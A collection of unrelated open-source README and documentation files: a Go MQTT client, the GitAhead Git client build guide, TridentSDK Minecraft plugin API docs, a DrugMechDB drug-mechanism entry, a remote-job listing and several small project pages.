* Make `row` and `column` operations non-copying
* Better types to avoid out of bounds exceptions when statically checkable
* Add a fallback Nim implementation, that is valid over other rings
* Move CUBLAS and LAPACK to separate libraries required via nimble
* Try on more platforms/configurations
* Make a proper benchmark
* Improve documentation
* Better pretty-print

## Contributing

Every contribution is very much appreciated! This can range from:

* using the library and reporting any issues and any configuration on which
  it works fine
* building other parts of the scientific environment on top of it
* writing blog posts and tutorials
* contributing actual code (see the **TODO** section)

The library has to cater many different use cases, hence the vector and matrix
types differ in various axes:

* 32/64 bit
* CPU/GPU
* static/dynamic
* (on the stack? non-contiguous? non GC pointers?)

In order to avoid a combinatorial explosion of operations, a judicious use of
templates and union types helps to limit the actual implementations that have
to be written.

repository: andreaferretti/linear-algebra

repo_name: andreaferretti/linear-algebra


text:
# Native Go MQTT Library

[![Codeship Status for FluuxIO/mqtt](https://app.codeship.com/projects/75c09d70-d43d-0135-b59a-12b6e6b26eee/status?branch=master)](https://app.codeship.com/projects/262977)
[![GoDoc](https://godoc.org/fluux.io/mqtt?status.svg)](https://godoc.org/fluux.io/mqtt) [![GoReportCard](https://goreportcard.com/badge/fluux.io/mqtt)](https://goreportcard.com/report/fluux.io/mqtt) [![codecov](https://codecov.io/gh/FluuxIO/mqtt/branch/master/graph/badge.svg)](https://codecov.io/gh/FluuxIO/mqtt)

Fluux MQTT is a MQTT v3.1.1 client library written in Go.

The library has been tested with the following MQTT servers:

- [ejabberd](https://www.process-one.net/en/ejabberd/)
- [fluux.io platform](https://fluux.io/)
- [Mosquitto](https://mosquitto.org/)

## Features

- MQTT v3.1.1, QOS 0
- Client manager to support auto-reconnect with exponential backoff.
- TLS Support

## Short term tasks

Implement support for QOS 1 and 2 (with storage backend interface and default backends).

## Running tests

You can launch unit tests with:

    go test ./...

## Testing with Fluux public MQTT server

We encourage you to experiment and test on a public Fluux test server. It is available on mqtt.fluux.io (on ports 1883
for cleartext and 8883 for TLS).

Here is example code for a simple client:

```
package main

import (
	"log"
	"time"

	"gosrc.io/mqtt"
)

func main() {
	client := mqtt.NewClient("tls://mqtt.fluux.io:8883")
	client.ClientID = "MQTT-Sub"
	log.Printf("Connecting on: %s\n", client.Address)

	messages := make(chan mqtt.Message)
	client.Messages = messages

	postConnect := func(c *mqtt.Client) {
		log.Println("Connected")
		name := "/mremond/test-topic-1"
		topic := mqtt.Topic{Name: name, QOS: 0}
		c.Subscribe(topic)
	}

	cm := mqtt.NewClientManager(client, postConnect)
	cm.Start()

	for m := range messages {
		log.Printf("Received message from MQTT server on topic %s: %+v\n", m.Topic, m.Payload)
	}
}
```

## Setting Mosquitto on OSX for testing

If you want to test Go MQTT library locally, you can install Mosquitto.

Mosquitto can be installed from homebrew:

```
brew install mosquitto
...
mosquitto has been installed with a default configuration file.
You can make changes to the configuration by editing:
    /usr/local/etc/mosquitto/mosquitto.conf

To have launchd start mosquitto at login:
  ln -sfv /usr/local/opt/mosquitto/*.plist ~/Library/LaunchAgents
Then to load mosquitto now:
  launchctl load ~/Library/LaunchAgents/homebrew.mxcl.mosquitto.plist
Or, if you don't want/need launchctl, you can just run:
  mosquitto -c /usr/local/etc/mosquitto/mosquitto.conf
```

Default config file can be customized in `/usr/local/etc/mosquitto/mosquitto.conf`.
However, default config file should be ok for testing

You can launch Mosquitto broker with command:

```
/usr/local/sbin/mosquitto -c /usr/local/etc/mosquitto/mosquitto.conf
```

The following command can be use to subscribe a client:

```
mosquitto_sub -v -t 'test/topic'
```

You can publish a payload payload on a topic with:

```
mosquitto_pub -t "test/topic" -m "message payload" -q 1
```

## Setting Mosquitto for testing on Windows 10

After you have install official Mosquitto build from main site, you can run the broker with command:

```
.\mosquitto.exe -v -c .\mosquitto.conf
```

You can subscribe with:

```
.\mosquitto_sub.exe -h <IP_ADDRESS> -v -t 'test/topic'
```

You can test publish with:

```
.\mosquitto_pub.exe -h <IP_ADDRESS> -t "test/topic" -m "message payload" -q 1
```

repository: ErwanMAS/mqtt

repo_name: ErwanMAS/mqtt


text:
# SwiftyShapeChainAnimation

SwiftyShapeChainAnimation relies on power of UIKit core animation combined with path mathemagic.

Create geometric shapes and animate them seamlessly using simple interface.

## Example:

`//Create Shape Array`

`var shapes: [Shape] = [.triangle, .rectangle, .pentagon, .hexagon, .heptagon, .octagon, .nanogon, .decagon, .circle]`

`//Create + Configure ChainShapeLayer`

`let chainShapeLayer = ChainShapeLayer()`

`//Assuming chainShapeLayer is part of the UIView root layer's hierarchy`

`chainShapeLayer.chainAnimations(shapes: shapes, bShouldReturnToFirstState: false, bIsInfinite: true)`

or

`//Create Shape Array`

`var shapes: [Shape] = [.triangle, .rectangle, .pentagon, .hexagon, .heptagon, .octagon, .nanogon, .decagon, .circle]`

`//Create + Configure ChainShapeLayer`

`let chainShapeLayer = ChainShapeLayer()`

`//Assuming chainShapeLayer is part of the UIView root layer's hierarchy`

`chainShapeLayer.chainAnimations(shapes: shapes, bShouldReturnToFirstState: true, bIsInfinite: false)`

## Live Demo:

![](demo.gif)

## Extend:

Feel free to extend/modify `ChainShapeLayer.swift` to configure animation parameters including duration, media timing function and so on.

repository: vividcode/SwiftyShapeChainAnimation

repo_name: vividcode/SwiftyShapeChainAnimation


text:
[![Actions Status](https://github.com/gitahead/gitahead/workflows/GitAhead%20%28master%29/badge.svg)](https://github.com/gitahead/gitahead/actions) [![Actions Status](https://github.com/gitahead/gitahead/workflows/GitAhead%20%28stage%29/badge.svg)](https://github.com/gitahead/gitahead/actions)

GitAhead - Understand Your History
==================================

GitAhead is a graphical Git client designed to help you understand
and manage your source code history. It's available as a [pre-built
binary for Windows, Linux, and macOS](https://gitahead.github.io/gitahead.com/), or can be built from source by
following the directions below.

How to Get Help
---------------

Ask questions about building or using GitAhead on
[Stack Overflow](http://stackoverflow.com/questions/tagged/gitahead) by
including the `gitahead` tag. Remember to search for existing questions
before creating a new one.

Report bugs in GitAhead by opening an issue in the
[issue tracker](https://github.com/gitahead/gitahead/issues).
Remember to search for existing issues before creating a new one.

If you still need help, email us at
[support@gitahead.com](mailto:support@gitahead.com).

Build Environment
-----------------

* C++11 compiler
  * Windows - MSVC >= 2017 recommended
  * Linux - GCC >= 6.2 recommended
  * macOS - Xcode >= 10.1 recommended
* CMake >= 3.3.1
* Ninja (optional)

Dependencies
------------

External dependencies can be satisfied by system libraries or installed
separately. Included dependencies are submodules of this repository. Some
submodules are optional or may also be satisfied by system libraries.

**External Dependencies**

* Qt (required >= 5.15)

**Included Dependencies**

* libgit2 (required)
* cmark (required)
* git (only needed for the credential helpers)
* libssh2 (needed by `libgit2` for SSH support)
* openssl (needed by `libssh2` and `libgit2` on some platforms)

Note that building `OpenSSL` on Windows requires `Perl` and `NASM`.

How to Build
------------

**Initialize Submodules**

    git submodule init
    git submodule update

**Build OpenSSL**

    # Start from root of gitahead repo.
    cd dep/openssl/openssl

Win:

    perl Configure VC-WIN64A
    nmake

Mac:

    ./Configure darwin64-x86_64-cc no-shared
    make

Linux:

    ./config -fPIC
    make

**Configure Build**

    # Start from root of gitahead repo.
    mkdir -p build/release
    cd build/release
    cmake -G Ninja -DCMAKE_BUILD_TYPE=Release ../..

If you have Qt installed in a non-standard location, you may have to
specify the path to Qt by passing `-DCMAKE_PREFIX_PATH=<path-to-qt>`
where `<path-to-qt>` points to the Qt install directory that contains
`bin`, `lib`, etc.

**Build**

    ninja

How to Install
-----------------
**Linux**
The easies way to install GitAhead is by using [Flatpak](https://www.flatpak.org/)
Ubuntu: apt-get install flatpak flatpak-builder

1) Download flatpak manifest located in the repository at `gitahead/pack/flatpak/io.github.gitahead.gitahead.json`
2) Build and install flatpak package (must be executed as root):

    flatpak-builder --force-clean --install ./build io.github.gitahead.gitahead.json

How to Contribute
-----------------

We welcome contributions of all kinds, including bug fixes, new features,
documentation and translations. By contributing, you agree to release
your contributions under the terms of the license.

Contribute by following the typical
[GitHub workflow](https://guides.github.com/introduction/flow/index.html)
for pull requests. Fork the repository and make changes on a new named
branch. Create pull requests against the `master` branch. Follow the
[seven guidelines](https://chris.beams.io/posts/git-commit/) to writing a
great commit message.

License
-------

GitAhead is licensed under the MIT license. See LICENSE.md for details.

repository: exactly-one-kas/gitahead

repo_name: exactly-one-kas/gitahead


text:
---
title: Which Repository Providers Can I Use?
layout: en
permalink: /user/repository-providers/
---

Build and test your open source projects hosted on Github on [travis-ci.org](https://travis-ci.org/).

Build and test your private repositories hosted on Github on [travis-ci.com](https://travis-ci.com/).

Travis CI currently does not support repositories hosted on Bitbucket, Gitlab or Atlassian Stash.

repository: testfairy/docs-travis-ci-com

branch_name: refs/heads/gh-pages

gha_language: HTML

repo_name: testfairy/docs-travis-ci-com


text:
foo-commonj
===========

This an implementation of the commonj API, implemented by some application servers - WebSphere and BEA mostly -
to allow web applications to use application server managed threads. For more information visit [Oracle's page](http://docs.oracle.com/cd/E12840_01/wls/docs103/commonj/commonj.html)

This implementation allows the same API to be used in servers that do not implement this, like Apache Tomcat.

At [SecondFloor](www.secondfloor.nl) we use it to setup a lightweight development environment by using a Tomcat with some extra enterprisey frameworks like this one. This makes for a lightweight equivalent of our target deployment environment - typically WebSphere.

## Original work

The original work for this implementation was done at [Foo CommonJ](http://commonj.myfoo.de/).

I found a couple of people looking for this, and multiple places that host the same fixes, all looking like an unshared solution, so we decided to share our working solution to promote collaboration.

repository: pguedes/foo-commonj

repo_name: pguedes/foo-commonj


text:
# kea

## Company blurb

kea builds conversational AI for restaurants.

## Company size

20-50

## Remote status

Fully-remote. Must be in North or Latin America.

## Region

North and Latin America

## Company technologies

JavaScript / AWS / PostGreSQL / Mocha / Python / Cypress / Chai / Twilio / Docker

## Office locations

California, USA

## How to apply

[Apply Here](https://careers.kea.ai)!

repository: remoteintech/remote-jobs

repo_name: remoteintech/remote-jobs


text:
---
title: "asfotase alfa - Hypophosphatasia"
sidebar: mydoc_sidebar
permalink: asfotasealfahypophosphatasia.html
toc: false
---

{% include image.html file="asfotasealfahypophosphatasia.png" alt="asfotasealfahypophosphatasia" %}

## Concepts

|------------|------|---------|
| Identifier | Name | Type    |
|------------|------|---------|
| MESH:C570710 | asfotase alfa | Drug |
| MESH:C107241 | inorgainc pyrophosphate | ChemicalSubstance |
| GO:0030282 | hydroxpatite crystal growth | BiologicalProcess |
| HP:0004349 | Reduced bone mineral density | PhenotypicFeature |
| MESH:D007014 | Hypophosphatasia | Disease |
|------------|------|---------|

## Relationships

|---------|-----------|---------|
| Subject | Predicate | Object  |
|---------|-----------|---------|
| Asfotase Alfa | DECREASES ABUNDANCE OF | Inorgainc Pyrophosphate |
| Inorgainc Pyrophosphate | NEGATIVELY REGULATES | Hydroxpatite Crystal Growth |
| Hydroxpatite Crystal Growth | HAS PHENOTYPE | Reduced Bone Mineral Density |
| Reduced Bone Mineral Density | MANIFESTATION OF | Hypophosphatasia |
|---------|-----------|---------|

Reference: [https://go.drugbank.com/drugs/DB09105#mechanism-of-action](https://go.drugbank.com/drugs/DB09105#mechanism-of-action){:target="_blank"}

repository: patrickrewers/DrugMechDB

repo_name: patrickrewers/DrugMechDB


text:
# BrewTempGauge

## JUST TEST CODE AT THE MOMENT NO ACTUAL USE YET

## Goal
The goal of this project is to create a GUI that integrates with Raspberry Pi in order to controll the temperature of fermentation for brewing.

## Hardware
* Raspberry Pi
* 4 Relay Module
* Grove Controller
* Grove ADS Module for Pi
* 3.5 LCD Touch Screen for Pi

## To Do
* Make function so I can reuse increase/decrease command that will change parent without being a single global variable
* Pretify Code
* Full Screen
* GPIO control
  * Thermistor will attach to ADS module
  * Relay module will attach to GPIO pins 20+
  * When temp raises above set value turn relay on for that gauge
  * Turn on pump relay if any of the other relays are activated
* "Real time" updates on temp

## Schematic/Wiring Guide (TBD)


text:
---
title: TridentSDK Docs

language_tabs:
  - shell
  - java

toc_footers:
  - TridentSDK Website
  - Javadocs
  - TridentSDK on GitHub
  - Follow Us on Twitter
  - Contribute to the Docs
  - Generated by Slate

includes:

search: true
---

# Introduction

Welcome to the TridentSDK Documentation site.

The TridentSDK team is composed of a group of Java developers from the Bukkit API. Trident is a cleanroom implementation of the Minecraft server, which will improve server performance, flexibility, and simplicity.

TridentSDK is a successor to the Bukkit/Spigot projects. Following the news of the "takeover" of the Bukkit project and the DMCA takedown of Bukkit, and therefore Spigot (we are quite aware of binary patches), we realized that someone needs to step up and create a server for Minecraft after the decline of both projects. The result was TridentSDK, the development kit that is implemented by the server, Trident.

## How to use the documentation

You may be seeing just annotations in some parts of this document. This is because there are language tabs where you can switch which language the examples are in. Unlisted means that there is no support for the particular language (which are shell and Java at the moment). If you aren't seeing the code on mobile, scroll up the sidebar, then press the other language. If you are on a desktop, on the top right is the language tabs, simply click the tab you wish to view.

# Features

Feature | Explanation | Other servers
------- | ----------- | -------------
Developers | We are top-of-the-line developers from the Bukkit API | ✗
Community | We are active community members and have high-profile connections to other developers | ✗
Cleanroom | Legally stable, performance-oriented, controlled, simple | ✗
Multithreaded | Effectively utilizes modern CPUs | ✗
Tested | Published with results, all aspects and benchmarks + comparison included | ✗
Pace | Development occurs nearly everyday | ✗

# Installation

Because TridentSDK is currently a high-paced work in progress, and the reimplementation of the entire Minecraft server is time-consuming, there are no builds available to use. The server does not work at the moment. You will need to download the source and compile it yourself.

## Prerequisites

To install Trident, you should have the following installed on your system:

* [JDK 7](https://docs.oracle.com/javase/7/docs/webnotes/install/)
* [Maven](http://maven.apache.org/download.cgi)
* [Git](http://git-scm.com/downloads)

## Source download

> To download the server source, use:

```shell
git clone https://github.com/TridentSDK/Trident.git
```

> To compile the final jar, use:

```shell
cd Trident
mvn clean install
```

After completing the above steps, you should be in `Trident/target`, with a fully compiled jar that can be run from the command line to start your server. Use the `jar-with-dependences`, or the dependencies will not be satisfied.

## Troubleshooting

#### Command not found

TridentSDK is developed primarily on Unix-based (Ubuntu, Debian) systems. Other Operating Systems may have directions that differ slightly, look them up for your own Operating System.

If your command starts with `git`, `mvn`, or `javac`, then you either need to install, or reinstall the tools in [Prerequisites](#prestiques).

Another problem may be that you have not set your PATH environment variables yet. This is covered in the Prerequisites links.

#### Paths cannot be resolved

Just edit `..` to your primary directory where you executed your git commands at

#### Where is my jar file?

It's in the working directory of the command line. For Unix-based systems, this is often in your Home directory. For Windows, this is the user directory. Therefore, it is recommend to change directory to your desktop or other place that is convenient and memorable.

## Updating

We are currently planning an update mechanism built into the server. However, it has not yet been implemented. Using Trident requires executing the above steps, a monolithic (i.e. jar-file) release will be available in the near future.

```shell
# Remove old files
rm -r Trident

# Download again
git clone https://github.com/TridentSDK/Trident.git
```

> Now go to [Source download](#source-download) and use the `To compile the final jar` steps.

# Contributing

On the left, near the bottom, there are a few links. Currently, there are 3 portions of the project that are open to community involvement.

### Code
First, we need help with the source. The highest priority right now is player joining, which we have the protocol and world loading facilities that are mature enough to be used for the purpose. The protocol is very elusive, and if you have used it before, help would be appreciated. Head over to our GitHub page, or tweet to us to find out how to help (pull requests on our repository are always welcome!).

### Documentation
Second, we will need help with documentation. There are two places where documentation is needed - here, and in the source. Javadocs are largely incomplete, as moving forward with development, getting performance testing, and finishing the server basics are of highest priority. We would greatly appreciate extra hands on source documentation. The documentation here is how to use the API, not what each method does. Head over to the Contribute to the Docs and submit a PR to the index.md on master, and we can recompile the site. Or, head over to the GitHub and submit a PR to add documentation comments to the methods.

### Community
Third is community administration. As we do not have a large community yet, the greatest help is achieved through sharing TridentSDK with your friends and other users. Later on, when TridentSDK becomes mature, you may apply for administrative positions.

# API

TridentSDK provides an extensive API for developing server modifications that can be used to modify game play that is controlled by the server. Trident does not provide for client side modifications.

## Prerequisites

* [A Java IDE](http://en.wikibooks.org/wiki/Java_Programming/Java_IDEs)
* [JDK 7](https://docs.oracle.com/javase/7/docs/webnotes/install/)
* [Maven](http://maven.apache.org/download.cgi)
* [Git](http://git-scm.com/downloads)
* 'Thorough understanding of the Java Language'

## Starting

As well as the items in the prerequisites above, it is **imperative** that you have a thorough understanding of the Java programming language.

While Trident can be used with any IDE, as it is simply a library, the TridentSDK team recommends Intellij IDEA from JetBrains.

Before getting started, you should read over the Javadocs for Trident (link on the lower left of this page).

## Setup

> Getting TridentSDK

```shell
git clone https://github.com/TridentSDK/TridentSDK.git
cd TridentSDK
mvn clean install
```

To begin, pull from our `TridentSDK` repository and compile it. The jarfile can be found in the `target` folder after running `mvn clean install`.

Then, start up your IDE, you should be familiar with your development environment. Create a new project, and add the TridentSDK dependency to your workspace.

## Creating the main class

> Extend `TridentPlugin`

```java
package com.example.smite;

import net.tridentsdk.plugin.TridentPlugin;

public class Smite extends TridentPlugin {

}
```

> Annotate with `PluginDescription`

```java
package com.example.smite;

import net.tridentsdk.plugin.TridentPlugin;
import net.tridentsdk.plugin.annotation.PluginDescription;

@PluginDescription(name = "Project", author = "Pierre C", version = "6.9")
public class Smite extends TridentPlugin {

}
```

> Use lifecycle methods

```java
package com.example.smite;

import net.tridentsdk.plugin.TridentPlugin;
import net.tridentsdk.plugin.annotation.PluginDescription;

@PluginDescription(name = "Project", author = "Pierre C", version = "6.9")
public class Smite extends TridentPlugin {
    @Override public void onEnable() {
    }

    @Override public void onLoad() {
    }

    @Override public void onDisable() {
    }
}
```

The first step in development of a Trident plugin is to create the main class. This is where all of your plugin's functional aspects are initialized. Create a new package titled with your domain, backwards. For example, if you own `example.com`, then your package would be `com.example.<project>`, where `project` is the project's name, in our example it is `smite` . This does not affect functionality. If you do not own a domain, you may use your email. For example, if you owned<EMAIL_ADDRESS>then use `com.random.someone`. If your email contains a `-` character, use an underscore (`_`) instead.

DO NOT use the package name `net.tridentsdk.*`. Any package name beginning with this pattern will not have its classes loaded, thereby rendering the plugin useless.

Then, create a new Java class, with a meaningful name (the class name does not affect functionality). This class must extend TridentPlugin (i.e. declaration ends in `extends TridentPlugin`).

----

Then, you must add a PluginDescription annotation to your class to mark the plugin parameters.

Of course, replace the name with the name of the project (does not affect functionality), the author with your name/username/online name/alias (does not affect functionality), and the version with the plugin version (does not affect functionality).

The only required field in a PluginDescription annotation is the plugin name (`name`).

----

`TridentPlugin` provides several methods that are executed during various events in a plugin's lifecycle. They are called in this order: `onLoad`, `onEnable`, `onDisable`. `onLoad` is called shortly after the plugin object is created, before any world loading takes place, and before any plugins are enabled. `onEnable` is called when the plugin is enabled, after Trident has finished initializing, worlds are loaded, and all plugins have had their `onLoad` method invoked. Finally, `onDisable` is called when the plugin is disabled, either due to an error or server shutdown.

These methods may be overridden to execute code at specific lifecycle events. They are not required, and if you don't need them, you should not override them.

## Commands

> Implementing a proper command

```java
package com.example.smite;

import net.tridentsdk.api.entity.living.Player;
import net.tridentsdk.plugin.cmd.Command;
import net.tridentsdk.plugin.cmd.CommandIssuer;
import net.tridentsdk.plugin.cmd.ConsoleSender;

public class Smite extends Command {
    @Override public void handlePlayer(Player player, String arguments, String alias) {
    }

    @Override public void handleConsole(ConsoleSender sender, String arguments, String alias) {
    }

    @Override public void handle(CommandIssuer sender, String arguments, String alias) {
    }
}
```

'DO NOT' register your commands explicitly unless they do not work. Doing so may result in your command being executed twice.

Commands are implemented by subclassing the `Command` class (net.tridentsdk.plugin.cmd.Command). In order to handle commands, there are 3 methods provided to check for commands. They are `handle`, `handlePlayer`, and `handleConsole`. The `handle` method is invoked when anything executes this command (e.g. command block, player, console). `handlePlayer` only handles player executed commands, and `handleConsole` only handles console commands.

If a class has both a 'handle' and 'handlePlayer' method, both will be invoked when a player executes a command (`handleConsole` has similar behavior). The 'handlePlayer' and 'handleConsole' methods are largely provided as convenience methods and are not mutually exclusive to the 'handle' method being invoked.

The first parameter passed to the handle method is the issuer of the command. This can be any subclass of CommandIssuer in `handle`, which may be checked by using `instanceof` for the Player or ConsoleSender classes (or any other subclasses). The second parameter is args, which is the line the sender entered, without the command itself (for example, /basic spawn would have args `spawn`, and /smite leetplayer 100 would have args `leetplayer 100`). Finally, the alias is the command executed, the first word after `/` in the command box. Each argument has its own documentation in the pertinent classes.

## Events

> This is a proper event listener

```java
package com.example.smite;

import net.tridentsdk.api.event.entity.EntityDeathEvent;
import net.tridentsdk.api.event.Listener;

public class Project implements Listener {
    public void onEvent(EntityDeathEvent event) {
    }
}
```

> This is a proper way to prioritize events:

```java
package com.example.smite;

import net.tridentsdk.api.event.entity.EntityDeathEvent;
import net.tridentsdk.api.event.Call;
import net.tridentsdk.api.event.Importance;
import net.tridentsdk.api.event.Listener;

public class SmiteListener implements Listener {
    @Call(Importance.LOWEST)
    public void onEvent(EntityDeathEvent event) {
    }
}
```

> Implementing event ignorance

```java
Event event = new EntityDeathEvent(/* Your values */);
EventManager.call(event);
if (event.isIgnored()) {
    // Do what you need to do if the event is cancelled
} else {
    // Proceed
}
```

> Ignoring events

```java
package com.example.smite;

import net.tridentsdk.api.event.entity.EntityDeathEvent;
import net.tridentsdk.api.event.Listener;

public class SmiteListener implements Listener {
    public void onEvent(EntityDeathEvent event) {
        event.cancel(true);
    }
}
```

Unlike the Bukkit event system, events in Trident are automatically registered. You should not explicitly register your events.

DO NOT register your events explicitly unless they do not work otherwise. Doing so may result in the event being called twice.

The requirements for an event method is that it must be a publicly visible method that returns void and be in a class implementing `Listener` (`net.tridentsdk.api.event.Listener), and the method must have a single parameter that is superclassed by Event.

You can prevent your method from being registered in a class implementing Listener by marking the method with `@IgnoreRegistration`, alternatively, classes may also be marked `@IgnoreRegistration` to prevent any methods in the class from being used as listeners.

Events usually have self-descriptive class names, for example, EntityDeathEvent occurs when an entity dies, of course, it must be a LivingEntity.

Events can be removed from the event caller list using [`EventManager#unregister(Listener)`](http://tridentsdk.github.io/Javadocs/net/tridentsdk/api/event/EventManager.html#unregister(net.tridentsdk.api.event.Listener)), where `Listener` represents an instance of the listener that was registered into the list.

----

Event priorities are annotated by a `@Call` annotation, which takes a single parameter, `Importance`.

Events are called in this order: `LOWEST`, `LOW`, `MEDIUM`, `HIGH`, `HIGHEST`. This occurs because the most important events must edit what the other plugins have set to the event. If 2 events have the same priority, then there is no guaranteed order. If the event does not have a `@Call` annotation, then the importance is automatically set to `Importance.MEDIUM`.

Importance is valuable in APIs, where you'd want to check in with events, but not edit them, and allow other plugins to view event modifications made by the API, as well as providing higher level plugins to have control over the event result.

----

Events that `implement Cancellable` where Cancellable is `net.tridentsdk.api.event.Cancellable` can be used to prevent and implement cancellation functionality. To provide cancellation functionality for your event, simply `implement Cancellable`, overriding the two new methods to modify a `boolean` field, which is checked when the event is called. Events are called using [`EventManager#call(Event)`](http://tridentsdk.github.io/Javadocs/net/tridentsdk/api/event/EventManager.html#call(net.tridentsdk.api.event.Event)). After calling, check the event object using `isIgnored()`, which returns `true` if the event should be cancelled.

For the API user, you may cancel an event, which will create behavior specified in the cancellation policy by calling [`Cancellable#cancel(boolean)`](http://tridentsdk.github.io/Javadocs/net/tridentsdk/api/event/Cancellable.html#cancel(boolean)). The boolean value is true if the event should be cancelled, or false to prevent the event from being cancelled by lower priority listeners. You can check if the event has been cancelled before it reached the current listener using [`Cancellable#isIgnored()`](http://tridentsdk.github.io/Javadocs/net/tridentsdk/api/event/Cancellable.html#isIgnored()), which returns true if the event should be ignored.

Some Events do not implement `Cancellable`. Check the docs!

## Configuration

> Correctly creating a configuration file, or multiple.

```java
import net.tridentsdk.api.config.JsonConfig;
import net.tridentsdk.api.factory.Factories;

public class Project extends TridentPlugin {
    private final JsonConfig config =
            Factories
            .configs()
            .createConfig(this.getConfigDirectory() + "/configuration.json");
    private final JsonConfig anotherConfig =
            Factories
            .configs()
            .createConfig(this.getConfigDirectory() + "/players.json")
}
```

> Deleting your file

```java
try {
    Files.delete(config.getPath());
} catch (IOException e) {
    e.printStackTrace();
}
```

> Reloading the configuration

```java
config.reload();
```

> Proper JSON format for TridentSDK

```json
{
    // Normally JSON does not allow comments
    // however, Trident's JSON parser
    // allows for comments
    // use two forward slashes to create
    // comments in your configuration,
    // similar to this comment

    "here is a key": "this is a string value",
    "append , after key-value": 10,
    "you can have doubles too": 0.6,

    "this is a section": {
        "it has more key-values": 10,
        "you can also have lists": 10
    },

    "this is a list": [
        "there are values in lists",
        "they have brackets instead of braces",
        "and you still use commas to separate entries"
    ],

    "usually you want no spaces in your keys": 10,
    "ThisIsAKey": 10,
    "your last entry doesn't have a comma": "enjoy using json"
}
```

The TridentSDK configuration is similar to that of the Bukkit configuration, however, we use JSON instead of YAML. JSON has a slightly more complex syntax than YAML, however, it does not have the same constraints (such as lack of tabs, spacing, etc).

Each `TridentPlugin` has a configuration directory to hold files the plugin may have. This can be accessed using `TridentPlugin#getConfigDirectory()`, returned as a `File`. This file is actually a folder.

A configuration file can be created, or retrieved using the `ConfigFactory#createConfig(...)` method, from `Factories#configs()`. More information about `Factories` can be found in the [section below](#factories). If the config specified in createConfig already exists, the data will be loaded into the returned `JsonConfig` object. Otherwise, it will be created for you. The file should have a `.json` file type.

If you wish to remove your configuration, it can be deleted at the path specified in the JsonConfig.

Once the `JsonConfig` constructor is invoked, the object will automatically reload and store the configuration to memory. If the config is changed externally, such as by opening with a text editor, then you must reload the configuration file yourself.

### Getting and setting

Configuration manipulation is handled at `ConfigSection`, where get/set for all primitives, lists, objects, BigInteger, and BigDecimals in the configuration is supported. There is also `contains()`, parent/child section access, and programmatic access to the JSON object form of the configuration, and saving capability. Trident parses without comments, so you can have `//` comments without a problem. The technical documentation for JSON can be found at the [Engineering Task Force website](http://www.ietf.org/rfc/rfc4627.txt). However, most developers can get by with the example provided on the right.

## Factories

The TridentSDK factories API provides a factory to access many of the major components of TridentSDK, especially implementation-specific facilities. Classes that relate to collections, configuration, executors, tasks, threads, and reflection can be accessed from Factories. Factories replace the important methods from the original Bukkit class with a modular API that is easy to understand and access.

Factories are thread-safe. Initialization occurs before any access is done to the `Factories` class, as well as guarding by `HeldValueLatch`, which blocks until the main thread initializes all accessors inside of Factories.

Here is a list of all facilities provided by `Factories`:

  - Tasks
    - Scheduler methods
    - Async
    - Sync
    - Run now
    - Run later
    - Run repeatedly
  - Threads
    - Entity
    - Player
    - World
    - Plugin
    - Executors
  - Configs
    - Server config
    - New `JsonConfig`
    - New `JsonSection`
  - Collections
    - Caches
    - Improved ConcurrentHashMap
  - Reflection
    - Classes
    - Fields
    - Methods
    - Constructor
  - Display information
    - MOTD
    - MOTD image/pictures
    - Max players
    - Player count

# Benchmarks

Nerd section! You don't need this information to make a plugin!

TridentSDK is heavily benchmarked. Some of the most performance critical classes, such as the reflection API, scheduling, events, and caching are benchmarked inside the Trident test package.

This is a list of the currently benchmarked classes:

- [Reflection benchmark](http://bit.ly/1vwutXc)
- [ConcurrentHashMapV8 benchmark](http://bit.ly/1y90tml)
- [ConcurrentCache benchmark](http://bit.ly/1A21o5O)
- [EventManager benchmark](http://bit.ly/1B3psZv)
- [Scheduler benchmark](http://bit.ly/12fTNow)

All benchmarks have a baseline benchmark at 0, called *control*. The traditional benchmark, before the update, used straight pounding on the data structure that was being benchmarked. In a realistic situation, this does not happen. Thankfully, we used [JMH](http://openjdk.java.net/projects/code-tools/jmh/), which is feature packed with everything we need to performance test our classes.

One of the features was the `Blackhole` class, which is used in the benchmarking infrastructure to prevent optimization of the harness. Then, there was `Blackhole.consumeCPU(int)`. This is used to amortize the test pounding on the harness, which was used in the tests to improve realism and accuracy of the calculations.

The graphs were a result of 4 hours of work experimenting with Google Charts' [excellent API](https://developers.google.com/chart/). However, there were a couple things that may seem to be off at first. The most apparent incongruity is that there are *negative values*. How is this possible? Let's begin by examining how the charts are generated from the data.

The charts are generated by running `Benchmarks.chart(Benchmarks.parse(Collection<RunResult>, String)`. The `parse` method iterates through the results to find the times and label of the benchmarks. All benchmarks are run with a `control` group, which measures the CPU cycles taken up by the amortization method discussed above. Since each harness runs the consumption method, we have the actual benchmark PLUS the cost of running the amortization. Therefore, we plot the data by subtracting the amortization cost from the total benchmark. HOWEVER, this is not totally accurate. The amortization harness runs independently of the other harnesses, therefore, it may be larger or smaller than the benchmarked value of the particular harness.

Secondly, you may see that if you run the method several times, you'd get different colors (yay). This WILL NOT affect the data produced by the graph. The colors are randomized when generated, so that will not compromise the integrity or the accuracy of the data gathered during the test.

Third, you might also see that control is a straight line... Yes, it is a straight line if you look at the URL data. Control, again, is the amortization cost, which is subtracted by the amortization cost when plotted... So the amortization cost minus the amortization cost is 0.

----

If you'd like to use `Benchmarks` for your own benchmarks, please note the Apache License, and `BenchmarkTemplate` can be used as a starter for your benchmarks. Benchmarking requires a large amount of knowledge on how the Java technologies (GC, JIT, JVM, etc) work. I am not liable for any damages caused by the results I have posted  or generated from my class. They are meant for reference use only.

Reference article: [Nanotrusting the Nanotime](http://shipilev.net/blog/2014/nanotrusting-nanotime/), by Aleksey Shipilёv

## How to read the charts

The charts are in nanoseconds / operation on the Y axis, which corresponds with the amortization cycles for that harness point. 1024 cycles represents light server load, while 1 represents heavy server load. The data for the selected item should fit the load capacity of the server, and the majority of the fastest option. TridentSDK maintains responsiveness by allowing slow registry trade for fast runtime. Lower ns/op is better.

## Why benchmarking matters

The past generation of server software (Bukkit/Spigot), and designs based on them, such as Sponge/Forge/NMS based servers are unable to multi-thread their servers effectively because NMS (net.minecraft.server and related packages) limits their ability to exploit multiple processors. Servers are plagued with "Cannot keep up" warnings, which result from too much work being executed for the given time in a server heartbeat. In order to reduce these warnings, TridentSDK is implemented with multi-threading in mind, breaking free of the bonds imposed by other software to fully utilize the processor efficiently and reduce task execution time to fit more in a single tick.

These tests compare performance of a particular class to previous generation software or library classes (that may or may not have the same semantic functionality as the benchmark comparison). They also help debug classes, as performance issues relate to bugs in the code, or inefficient/over-defensive programming.

Benchmarking also helps make decisions with which option to use, and how well it performs compared to other pieces of software. TridentSDK, is of course, performance focused.

repository: TridentSDK/slate

repo_name: TridentSDK/slate


text:
---
layout: post
